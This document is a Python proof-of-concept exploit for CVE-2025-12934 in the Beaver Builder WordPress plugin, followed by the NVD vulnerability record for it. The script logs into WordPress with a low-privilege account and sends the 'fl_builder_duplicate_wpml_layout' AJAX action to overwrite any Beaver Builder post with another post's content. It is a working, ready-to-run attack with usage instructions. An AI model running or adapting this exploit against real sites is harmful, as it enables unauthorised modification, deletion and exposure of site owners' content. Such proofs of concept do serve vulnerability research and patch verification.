CVE-2025-12934

# CVE-2025-12934 PoC - Beaver Builder Unauthorized Post Modification # Author: Security Researcher # Target: Beaver Builder Plugin < 2.9.5 import requests import sys def exploit_cve_2025_12934(target_url, username, password, source_post_id, target_post_id): """ Exploit for Beaver Builder duplicate_wpml_layout function Missing capability check allows authenticated users to modify arbitrary posts """ # Login to WordPress login_url = f"{target_url}/wp-login.php" session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data, cookies={'wordpress_test_cookie': 'WP+Cookie+check'}) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Login successful") # Exploit the missing capability check exploit_url = f"{target_url}/wp-admin/admin-ajax.php" # The vulnerable action: 'fl_builder_duplicate_wpml_layout' exploit_data = { 'action': 'fl_builder_duplicate_wpml_layout', 'post_id': target_post_id, # Target post to be overwritten 'duplicate_post_id': source_post_id # Source post content to copy } response = session.post(exploit_url, data=exploit_data) if response.status_code == 200: print(f"[+] Exploit sent successfully") print(f"[+] Post {target_post_id} content replaced with content from post {source_post_id}") return True else: print(f"[-] Exploit failed with status code: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 6: print("Usage: python cve_2025_12934.py <target_url> <username> <password> <source_post_id> <target_post_id>") sys.exit(1) target_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] source_post_id = sys.argv[4] target_post_id = sys.argv[5] exploit_cve_2025_12934(target_url, username, password, source_post_id, target_post_id)

{"cve": {"id": "CVE-2025-12934", "sourceIdentifier": "[email protected]", "published": "2025-12-23T10:15:42.953", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Beaver Builder – WordPress Page Builder plugin for WordPress is vulnerable to unauthorized access and modification of data due to a missing capability check on the 'duplicate_wpml_layout' function in all versions up to, and including, 2.9.4.1. This makes it possible for authenticated attackers, with Subscriber-level access and above, to update arbitrary posts with the content of other existing posts, potentially exposing private and password-protected content and deleting any content that is not saved in revisions or backups. Posts must have been created with Beaver Builder to be copied or updated."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/beaver-builder-lite-version/trunk/classes/class-fl-builder-model.php#L181", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/beaver-builder-lite-version/trunk/classes/class-fl-builder-model.php#L5490", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3425646/beaver-builder-lite-version/trunk", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bc2db74d-61b9-498a-a0d8-e43466b06f37?source=cve", "source": "[email protected]"}]}}